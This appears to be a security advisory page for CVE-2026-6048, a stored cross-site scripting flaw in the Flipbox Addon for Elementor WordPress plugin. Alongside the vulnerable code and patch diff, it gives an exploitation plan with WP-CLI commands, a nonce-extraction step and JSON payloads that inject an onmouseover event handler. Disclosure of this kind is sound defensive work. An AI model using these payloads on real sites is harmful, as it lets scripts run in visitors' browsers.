CVE-2026-6048

Flipbox Addon for Elementor <= 2.1.1 - Authenticated (Author+) Stored Cross-Site Scripting via Custom Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.1.2
Patched in
1d
Time to patch

Description

The Flipbox Addon for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Flipbox widget's button URL `custom_attributes` field in all versions up to, and including, 2.1.1 due to insufficient validation of custom attribute names. Specifically, the plugin uses `esc_html()` on the attribute name which does not prevent event handler attributes (e.g., `onmouseover`, `onclick`). This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.8
PublishedApril 17, 2026
Last updatedApril 18, 2026

What Changed in the Fix

Changes introduced in v2.1.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-6048 ## 1. Vulnerability Summary The **Flipbox Addon for Elementor** plugin (up to version 2.1.1) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the way custom attributes for flipbox buttons are rendered on t…

Show full research plan

Exploitation Research Plan - CVE-2026-6048

1. Vulnerability Summary

The Flipbox Addon for Elementor plugin (up to version 2.1.1) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the way custom attributes for flipbox buttons are rendered on the frontend. Specifically, the plugin uses esc_html() to sanitize the attribute name (key) of custom attributes provided in the Elementor widget settings. While esc_html() prevents breaking out of HTML tags, it does not prevent the use of valid HTML event handlers like onmouseover, onclick, or onerror. An attacker with Author-level permissions can inject arbitrary JavaScript by providing an event handler as the attribute name.

2. Attack Vector Analysis

  • Widget Types: Basic Flipbox (Simple), Story Flipbox (Stories), or Post Flipbox.
  • Vulnerable Parameter: The custom_attributes field within the button_link control settings.
  • Endpoint: WordPress Post Editor (Elementor) or direct wp-json/wp/v2/posts or admin-ajax.php (elementor_ajax).
  • Required Role: Author or higher (any role capable of editing posts and using Elementor).
  • Payload Format: attribute_name|attribute_value (e.g., onmouseover|alert(1)).

3. Code Flow

The trace follows the rendering of the "Simple" flipbox widget:

  1. Entry: UFAE\Widget\Simple\Ufae_Frontend\Ufae_Frontend_Output::render() is called when the widget is displayed.
  2. Item Generation: render() calls $this->loop_obj->flipbox_items(), which instantiates UFAE\Widget\Simple\Ufae_Frontend\Ufae_Frontend_Item.
  3. Side Rendering: flipbox_items() calls render_sides_content( 'front', '' ) and render_sides_content( 'back', '' ).
  4. Element Rendering: render_sides_content() iterates through elements (icon, title, desc, button) and calls $this->render_button( $side ).
  5. Sink: Inside render_button() (inferred based on patch description), the plugin retrieves the settings for the button link:
    • The setting ufae_simple_' . $side . '_button_link contains a custom_attributes string.
    • The plugin parses this string (likely using explode('|', ...)) and renders it.
    • Vulnerable Code Path: echo ' ' . esc_html( $attr_name ) . '="' . esc_attr( $attr_value ) . '"';
    • Since esc_html('onmouseover') remains onmouseover, an attacker can inject an event handler.

4. Nonce Acquisition Strategy

While an Author can use the Elementor UI directly, an automated exploit via the admin-ajax.php endpoint requires a nonce for the elementor_ajax action.

  1. Action: elementor_ajax
  2. Strategy:
    • Navigate to the Elementor editor for a specific post: /wp-admin/post.php?post=POST_ID&action=elementor.
    • Use browser_eval to extract the nonce from the Elementor configuration object.
    • JavaScript Variable: window.elementorCommonConfig.ajax.nonce
  3. Alternative: Since this is a Stored XSS requiring Author privileges, the simplest method for a PoC is to use wp post meta update to inject the payload directly into the _elementor_data field, bypassing the need for an AJAX nonce during setup.

5. Exploitation Strategy

The goal is to inject a flipbox widget into a post where the button has a malicious onmouseover attribute.

Step 1: Authentication

Login to the WordPress instance as an Author user.

Step 2: Create a Target Post

Create a new post that will host the Flipbox widget.

wp post create --post_type=post --post_status=publish --post_title="XSS Test Page" --post_author=AUTHOR_ID

Step 3: Inject Malicious Elementor Data

The _elementor_data meta field stores the widget configuration as a JSON string. We will inject a ufae-flipbox widget.

Payload JSON structure (payload.json):

[
  {
    "id": "exploit_id",
    "elType": "widget",
    "settings": {
      "ufae_simple_front_button_enable": "yes",
      "ufae_simple_front_button_text": "Click Me",
      "ufae_simple_front_button_link": {
        "url": "https://google.com",
        "is_external": "",
        "nofollow": "",
        "custom_attributes": "onmouseover|alert(document.domain)"
      }
    },
    "widgetType": "ufae-simple-flipbox"
  }
]

Apply the payload:

wp post meta update [POST_ID] _elementor_data --format=json < payload.json
wp post meta update [POST_ID] _elementor_edit_mode "builder"

Step 4: Trigger the XSS

  1. Use browser_navigate to visit the post's permalink.
  2. The flipbox will render.
  3. Hovering over the front side of the flipbox (where the button is rendered) will trigger the onmouseover event.

6. Test Data Setup

  • Plugin: Flipbox Addon for Elementor <= 2.1.1.
  • Dependencies: Elementor plugin must be active.
  • User: A user with the Author role.
  • Content: A single post (ID: [POST_ID]) configured to use the Elementor builder.

7. Expected Results

  • The HTML source of the rendered page should contain: <a ... onmouseover="alert(document.domain)" ...>.
  • When a browser user hovers over the button in the Flipbox, a JavaScript alert showing the document domain should appear.

8. Verification Steps

  1. Database Check:
    wp post meta get [POST_ID] _elementor_data
    
    Confirm the custom_attributes contains onmouseover|alert(document.domain).
  2. HTML Verification:
    Use the http_request tool to fetch the post content and grep for the payload:
    # (Pseudocode)
    response = http_request("GET", post_url)
    if "onmouseover=\"alert(document.domain)\"" in response.body:
        print("Vulnerability Confirmed")
    

9. Alternative Approaches

If the ufae-simple-flipbox widget type does not render the button as expected, try the "Story Flipbox" widget:

  • Widget Type: ufae-stories-flipbox
  • Repeater Key: ufae_lists (this is a repeater control).
  • Settings Path: Within an item in ufae_lists, set ufae_front_button_link with custom_attributes set to onclick|console.log(window.origin).

Example Story JSON snippet:

{
  "widgetType": "ufae-stories-flipbox",
  "settings": {
    "ufae_lists": [
      {
        "ufae_front_button_enable": "yes",
        "ufae_front_button_link": {
          "custom_attributes": "onmouseover|alert(1)"
        }
      }
    ]
  }
}
Research Findings
Static analysis — not yet PoC-verified

Summary

The Flipbox Addon for Elementor plugin is vulnerable to authenticated stored Cross-Site Scripting (XSS) due to insufficient sanitization of custom attribute names in the Flipbox widget's button. An attacker with Author-level permissions can use event handlers like 'onmouseover' as attribute keys, allowing them to execute arbitrary JavaScript when a user interacts with the flipbox on the frontend.

Vulnerable Code

// widget/simple/ufae-frontend/class-ufae-frontend-item.php lines 260-264
$custom_attr   = isset( $btn_url_setting['custom_attributes'] ) && ! empty( $btn_url_setting['custom_attributes'] ) ? explode( '|', $btn_url_setting['custom_attributes'] ) : array();

$custom_attr = count( $custom_attr ) > 1 ? esc_html( $custom_attr[0] ) . '="' . esc_attr( $custom_attr[1] ) . '"' : '';

// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- all content sanitized using escaping function before using.
echo '<a href="' . esc_url( $btn_url ) . '" class="ufae-button" target="' . esc_attr( $blank_attr ) . '" rel="' . esc_attr( $nofollow_attr ) . '" ' . trim( $custom_attr ) . '>' . esc_html( $btn_text ) . '</a>';

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/ultimate-flipbox-addon-for-elementor/2.1.1/widget/simple/ufae-frontend/class-ufae-frontend-item.php	2026-02-14 20:18:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ultimate-flipbox-addon-for-elementor/2.1.2/widget/simple/ufae-frontend/class-ufae-frontend-item.php	2026-04-13 18:43:52.000000000 +0000
@@ -249,15 +249,11 @@
 				$btn_url         = isset($btn_url_setting['url']) && ! empty($btn_url_setting['url']) ? $btn_url_setting['url'] : false;
 
 				echo '<div class="ufae-btn-wrapper">';
-				if ( $btn_url ) {
-					$blank_attr    = isset( $btn_url_setting['is_external'] ) && 'on' === $btn_url_setting['is_external'] ? '_blank' : '_self';
-					$nofollow_attr = isset( $btn_url_setting['nofollow'] ) && 'on' === $btn_url_setting['nofollow'] ? 'nofollow' : '';
-					$custom_attr   = isset( $btn_url_setting['custom_attributes'] ) && ! empty( $btn_url_setting['custom_attributes'] ) ? explode( '|', $btn_url_setting['custom_attributes'] ) : array();
-
-					$custom_attr = count( $custom_attr ) > 1 ? esc_html( $custom_attr[0] ) . '="' . esc_attr( $custom_attr[1] ) . '"' : '';
-					
-					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- all content sanitized using escaping function before using.
-					echo '<a href="' . esc_url( $btn_url ) . '" class="ufae-button" target="' . esc_attr( $blank_attr ) . '" rel="' . esc_attr( $nofollow_attr ) . '" ' . trim( $custom_attr ) . '>' . esc_html( $btn_text ) . '</a>';
+				if ($btn_url) {
+					$this->parent_obj->add_link_attributes('ufae_button_link', $btn_url_setting);
+					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- no need escaping all attributes sanitized before using.
+					echo '<a class="ufae-button" ' . $this->parent_obj->get_render_attribute_string('ufae_button_link') . '>' . esc_html($btn_text) . '</a>';
 				} else {
 					echo '<button class="ufae-button">' . esc_html( $btn_text ) . '</button>';
 				}

Exploit Outline

The exploit requires an attacker with Author-level privileges or higher to access the Elementor page builder. 1. Login to WordPress as an Author. 2. Create or edit a post using Elementor. 3. Add a 'Basic Flipbox' (ufae-simple-flipbox) or 'Story Flipbox' widget to the page. 4. Locate the Button settings for either the front or back side of the flipbox. 5. In the URL control, find the 'Custom Attributes' field (standard Elementor link feature). 6. Enter a payload using an HTML event handler as the key and a script as the value, separated by a pipe character, e.g., 'onmouseover|alert(document.domain)'. 7. Save the page and view it as a site visitor. 8. Hovering over the flipbox button will trigger the JavaScript payload because the plugin used esc_html() on the attribute key, which allowed the 'onmouseover' event handler to be rendered literally into the <a> tag.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.